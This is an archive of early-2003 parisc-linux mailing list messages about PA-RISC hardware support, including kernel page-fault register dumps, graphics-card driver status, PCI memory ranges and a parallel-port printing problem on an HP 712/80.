Lines: 35
Approved: news@gmane.org
Message-ID: <003001c2b6f9$693c0bd0$211def9f@teatime>
Reply-To: <Matt.Foster@Unilever.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622081 19471 80.91.229.3 (22 Nov 2014 02:08:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  8 02:37:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tlr-es01.eu.unilever.com (mailout04.unilever.com [194.60.106.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F340B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Jan 2003 02:37:37 -0700 (MST)
Original-Received: from teatime.eu.unilever.com by tlr-es01.eu.unilever.com with ESMTP for parisc-linux@lists.parisc-linux.org; Wed, 8 Jan 2003 09:37:06 Z
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17291

My B132 seems to be having similar problems running a non SMP kernel,
don't know if this is useful information. 

saturn:/usr/local/src# dmesg | more
Linux version 2.4.20-pa18 (bame@dsl2) (gcc version 3.0.3) #1 Tue Jan 7
06:44:31
MST 2003
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
[*SNIP*]
Adding Swap: 249232k swap-space (priority -1)
eth0: link ok.

do_page_fault() pid=266 command='sendmail' type=6 address=0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 400c78f0 40315e07 00000000
r04-07  40326bec 40316230 00000010 00000001
r08-11  00000000 402d3c98 0008df50 0008df54
r12-15  00000076 00000073 00000006 00000000
r16-19  000b3348 ffffffff 000bc248 40326bec
r20-23  00000000 faf02a58 00000000 00000001
r24-27  00000000 40316230 000f6dd0 000b3348
r28-31  00000016 400e19dc faf029c0 40315e07
sr0-3   00000000 0000016e 00000000 0000016e
sr4-7   0000016e 0000016e 0000016e 0000016e

IASQ: 0000016e 0000016e IAOQ: 00000003 00000007
 IIR: 081c0243    ISR: 0000016e  IOR: 000f703c
 CPU:        0   CR30: 16668000 CR31: 103b8000
 ORIG_R28: 00000000



From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yves De Muyter <yves@sithi.connected.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Visualize FX2
Date: Wed, 8 Jan 2003 13:20:09 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20030108122009.GD16018@sithi.connected.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622082 19487 80.91.229.3 (22 Nov 2014 02:08:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  8 05:29:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sithi.connected.be (sithi.connected.be [212.3.252.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AF9E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Jan 2003 05:29:08 -0700 (MST)
Original-Received: by sithi.connected.be (Postfix, from userid 1000)
	id B597261F6E; Wed,  8 Jan 2003 13:20:09 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17292

Hello,

I just got a C240 and i'm new to the PA-RISC architecture. It runs debian fine except the Visualize FX2 graphics board only works under sticon. What's the status of an XFree or FB driver for this card? Is any1 working on that?

-Yves



From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Visualize FX2
Date: Wed, 8 Jan 2003 13:35:32 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <ADA54D32-2305-11D7-BB92-0030656F07A2@esiee.fr>
References: <20030108122009.GD16018@sithi.connected.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622082 19538 80.91.229.3 (22 Nov 2014 02:08:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yves De Muyter <yves@sithi.connected.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  8 05:35:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4981B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Jan 2003 05:35:41 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 0068A49D59; Wed,  8 Jan 2003 13:35:33 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id D738149D55; Wed,  8 Jan 2003 13:35:32 +0100 (CET)
In-Reply-To: <20030108122009.GD16018@sithi.connected.be>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17293

On mercredi, jan 8, 2003, at 13:20 Europe/Paris, Yves De Muyter wrote:

> Hello,
>
> I just got a C240 and i'm new to the PA-RISC architecture. It runs 
> debian fine except the Visualize FX2 graphics board only works under 
> sticon. What's the status of an XFree or FB driver for this card? Is 
> any1 working on that?
Well, there is at the moment no support for FX cards.
Only Vis-EG are supported.

FX aren't likely to be supported soon, due to various legal problems 
(patents and co).

If you want to keep that FX card,  you'll have to use it with STICON...

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: do_page_fault() infinite loop running 2.4.20-pa18 #9 SMP
Date: Wed, 8 Jan 2003 12:35:59 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200301081735.h08HZxn2026972@hiauly1.hia.nrc.ca>
References: <003001c2b6f9$693c0bd0$211def9f@teatime>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622083 19542 80.91.229.3 (22 Nov 2014 02:08:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt.Foster@Unilever.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  8 10:36:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA3864829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Jan 2003 10:36:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h08Ha0ot026974;
	Wed, 8 Jan 2003 12:36:01 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h08HZxn2026972;
	Wed, 8 Jan 2003 12:35:59 -0500 (EST)
In-Reply-To: <003001c2b6f9$693c0bd0$211def9f@teatime> from "Matt Foster" at Jan 8, 2003 09:36:24 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17294

> saturn:/usr/local/src# dmesg | more
> Linux version 2.4.20-pa18 (bame@dsl2) (gcc version 3.0.3) #1 Tue Jan 7
> 06:44:31
> MST 2003
> FP[0] enabled: Rev 1 Model 15
> The 32-bit Kernel has started...
> Determining PDC firmware type: System Map.
> [*SNIP*]
> Adding Swap: 249232k swap-space (priority -1)
> eth0: link ok.
> 
> do_page_fault() pid=266 command='sendmail' type=6 address=0x00000003
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  00000000 400c78f0 40315e07 00000000
> r04-07  40326bec 40316230 00000010 00000001
> r08-11  00000000 402d3c98 0008df50 0008df54
> r12-15  00000076 00000073 00000006 00000000
> r16-19  000b3348 ffffffff 000bc248 40326bec
> r20-23  00000000 faf02a58 00000000 00000001
> r24-27  00000000 40316230 000f6dd0 000b3348
> r28-31  00000016 400e19dc faf029c0 40315e07
> sr0-3   00000000 0000016e 00000000 0000016e
> sr4-7   0000016e 0000016e 0000016e 0000016e
> 
> IASQ: 0000016e 0000016e IAOQ: 00000003 00000007

The code has branched to address 0.  If there is a core dump,
you might get some idea what happened by disassembling the
code just before and after $rp (0x40315e04).  Branches to address
0 can occur if the code tries to call an undefined weak function
or if there is a problem with function pointers.  I suspect an
indirect call since $r22 is 0 (this register contains the address
of the callee in an indireect call).

Page faults often occur when there is a problem in user code.
In the SMP case, certain page faults cause an infinite loop
in do_page_fault().  Do you see the above repeated indefinitely?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: p2@mind.be (Peter 'p2' De Schrijver)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Matrox Millenium II in C240
Date: Wed, 8 Jan 2003 20:49:19 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20030108194919.GB1313@portablue.intern.mind.be>
References: <20030102123856.GD871@portablue.intern.mind.be> <20030103051715.GA14565@dsl2.external.hp.com> <20030105131037.E19239@parcelfarce.linux.theplanet.co.uk> <20030106170059.GE9947@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="3V7upXqbjpZ4EhLz"
X-Trace: ger.gmane.org 1416622083 19555 80.91.229.3 (22 Nov 2014 02:08:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:03 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Peter 'p2' De Schrijver <p2@mind.be>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  8 12:49:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from portablue.intern.mind.be (NAT.office.mind.be [62.166.230.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 033F54829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 Jan 2003 12:49:37 -0700 (MST)
Original-Received: by portablue.intern.mind.be (Postfix, from userid 505)
	id BC769B2C9B; Wed,  8 Jan 2003 20:49:19 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030106170059.GE9947@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Answer: 42
X-Operating-system: Debian GNU/Linux
X-Message-Flag: Get yourself a real email client. http://www.mutt.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17295

--3V7upXqbjpZ4EhLz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

> 
> Hmmm. /proc/iomem should tell us which ranges dino/cujo are forwarding.
> 

/proc/iomem in attachement.

> But looking at dino.c, it's clear the code is not handling multiple
> ranges correctly even if firmware did program it right.
> 
>         res = &dino_dev->hba.lmmio_space;
> 
> lmmio_space needs to be an array.
> In HP speak, this is an "unsupported configuration". 
> 
> Elroy (lba_pci.c) suffers a similar problem with "directed ranges"
> (code currently only handles "distributed ranges"). At some point
> I'll get back to working on the lba code since it has a few other
> minor oustanding issues as well.
> 

So, this basically means it won't work for now ?

Cheers,

Peter.

--3V7upXqbjpZ4EhLz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=iomem-parisc

00000000-1fffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-002bffff : Kernel code
  002c0000-003b5c1b : Kernel data
f0190001-f0190001 : led_data
f1000000-f1ffffff : GSC Bus [10/]
  f1000000-f1000fff : Cujo
  f1800000-f1ffffff : Cujo LMMIO
f2000000-f5ffffff : GSC Bus [8/]
  f2000000-f2000fff : Dino
  f2003000-f2003fff : Serial RS232
  f2800000-f2ffffff : Dino LMMIO
  f3ffb000-f3ffb3ff : tulip
f6000000-f7ffffff : GSC Bus [10/]
f8000000-fff7ffff : GSC Bus [8/]
  ffd00000-ffdfffff : Lasi
    ffd00000-ffd00fff : Lasi
    ffd02000-ffd02fff : Parallel
    ffd04000-ffd04fff : Lasi Harmony
    ffd05000-ffd05fff : Serial RS232
    ffd06000-ffd06fff : Lasi SCSI
    ffd08000-ffd0800f : keyboard
    ffd08100-ffd0810f : psaux
fff80000-fffaffff : Central Bus
  fff88000-fff88fff : U2/Uturn
  fff8a000-fff8afff : U2/Uturn
  fffa0000-fffa0fff : CPU
fffb0000-fffdffff : Local Broadcast
fffe0000-ffffffff : Global Broadcast

--3V7upXqbjpZ4EhLz--


From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] CONFIG_IP_ADVANCE_ROUTER?
Date: Thu, 9 Jan 2003 08:40:58 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <3E082C0A00001DD6@ocpmta4.freegates.net>
References: <3E0085D000001FAA@ocpmta5.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622083 19565 80.91.229.3 (22 Nov 2014 02:08:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 00:41:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADD834829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 00:41:15 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18WXJM-0007ZG-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 09 Jan 2003 08:41:08 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 9 Jan 2003 08:40:58 +0100
In-Reply-To: <3E0085D000001FAA@ocpmta5.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17296

Hi all,
>
>Does somebody have already tested a pa kernel 2.4.20 configured as 'adva=
nce
>router'.
>Does it have some chance that it works?
>
>Thanks in advance,
>    Joel
>
>PS: This is to configure a b180 as a small gateway-proxy :) and this is
>requested in GIpTable?
>
Just test and seems to works fine :-))

Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vilmos Soti <vilmos@vilmos.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Printing problem with HP9000 712/80 and two more questions
Date: Wed, 8 Jan 2003 23:55:36 -0800
Lines: 193
Approved: news@gmane.org
Message-ID: <200301090755.h097tadb003653@vilmos.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622084 19571 80.91.229.3 (22 Nov 2014 02:08:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 01:05:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (1490223.cipherkey.com [64.114.149.223])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B8494829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 01:05:12 -0700 (MST)
Original-Received: from vilmos.org (my [127.0.0.1])
	by localhost.localdomain (8.12.5/8.12.5) with ESMTP id h097tb0v003655
	for <parisc-linux@lists.parisc-linux.org>; Wed, 8 Jan 2003 23:55:37 -0800
Original-Received: (from vilmos@localhost)
	by vilmos.org (8.12.5/8.12.5/Submit) id h097tadb003653
	for parisc-linux@lists.parisc-linux.org; Wed, 8 Jan 2003 23:55:36 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17297

Hello,

I have an old HP9000 712/80 box which I would like to use as an
internal file/print server. The printing doesn't work. I tried
the original kernel which came with Debian, I also tried to cross
compile (on a much faster P3 600MHz) numerous kernels, and I also
tried 2.4.20-pa18 from ftp://ftp.parisc-linux.org. I tried to
permute every option regarding the printer in the kernel config
file, and in all cases, including the default Debian kernel and
the 2.4.20-pa18, I consistently cannot get the printer work.

The printer is a HP LaserJet 1100 connected to the parallel port. The
printer works fine on an Intel box, so it is hopefully not a printer
problem. Whenever I try to print from the HPPA box (even something
like "cat /etc/passwd > /dev/lp0"), absolutely nothing happens.

Here are some relevant files:
cat /proc/iomem
00000000-03ffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-002fbfff : Kernel code
  002fc000-003fbcd3 : Kernel data
f0100000-f01fffff : Lasi
  f0100000-f0100fff : Lasi
  f0102000-f0102fff : Parallel
  f0104000-f0104fff : Lasi Harmony
  f0105000-f0105fff : Serial RS232
  f0106000-f0106fff : Lasi SCSI
  f0107000-f0107fff : Apricot
  f0108000-f010800f : keyboard
  f0108100-f01090ff : Lasi psaux
f0500000-f05fffff : Lasi
  f0500000-f0500fff : Lasi
  f0505000-f0505fff : Serial RS232
f8000000-f8000fff : sti (native)
f8100000-f84fffff : stifb mmio
f9000000-f9ffffff : stifb
fff80000-fffaffff : Central Bus
fffb0000-fffdffff : Local Broadcast
  fffbe000-fffbefff : CPU
fffe0000-ffffffff : Global Broadcast

/proc/interrupts
          CPU00
 32:   37262217      PARISC-CPU  timer
 33:     176500      PARISC-CPU  lasi
 34:          0      PARISC-CPU  lasi
 69:       1022            Lasi  keyboard
 82:          9            Lasi  harmony
 86:     126441            Lasi  lasi710
 87:      49028            Lasi  i82596
 88:          0            Lasi  parport0

Here is the dmesg of the box. I won't break the lines so it is
easier to read.

Linux version 2.4.20-pa18 (bame@dsl2) (gcc version 3.0.3) #1 Fri Dec 27 06:12:20 MST 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00006010 00000481 00000000 00000000 77da0338 00000000 00000004 00000072 00000072
vers  00000009
model 9000/712
Total Memory: 64 Mb
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda2 HOME=/ console=tty0 sti=1 sti_font=VGA8x16 TERM=linux palo_kernel=2/boot/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 79.66 BogoMIPS
Memory: 61624k available
Dentry cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Gecko 80 GSC Core Graphics (10) at 0xf8000000 [1], versions 0x1c, 0x0, 0x85
2. Gecko 80 Core BA (11) at 0xf0100000 [2], versions 0x1c, 0x0, 0x81
3. Gecko 80 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x1c, 0x0, 0x82
4. Gecko 80 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x1c, 0x0, 0x8a
5. Gecko 80 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x1c, 0x0, 0x8c
6. Gecko 80 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x1c, 0x0, 0x74
7. Gecko 80 Audio (10) at 0xf0104000 [2/0/8], versions 0x1c, 0x0, 0x7b
8. Gecko 80 Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x1c, 0x0, 0x83
9. Gecko 80 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x1c, 0x0, 0x84
10. Gecko 80 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x1c, 0x0, 0x84
11. Gecko 80 Core BA (11) at 0xf0500000 [6], versions 0x1c, 0x0, 0x81
12. Gecko Optional RS-232 (10) at 0xf0505000 [6/0/4], versions 0x18, 0x0, 0x8c
13. Gecko 80 (712/80) (0) at 0xfffbe000 [8], versions 0x601, 0x0, 0x4
14. Memory (1) at 0xfffbf000 [9], versions 0x38, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 80.000000 MHz
Lasi version 0 at 0xf0100000 found.
Lasi version 0 at 0xf0500000 found.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Gecko-style soft power switch enabled.
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI GSC/PCI graphics driver version 0.9
STI word mode ROM at f0080000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
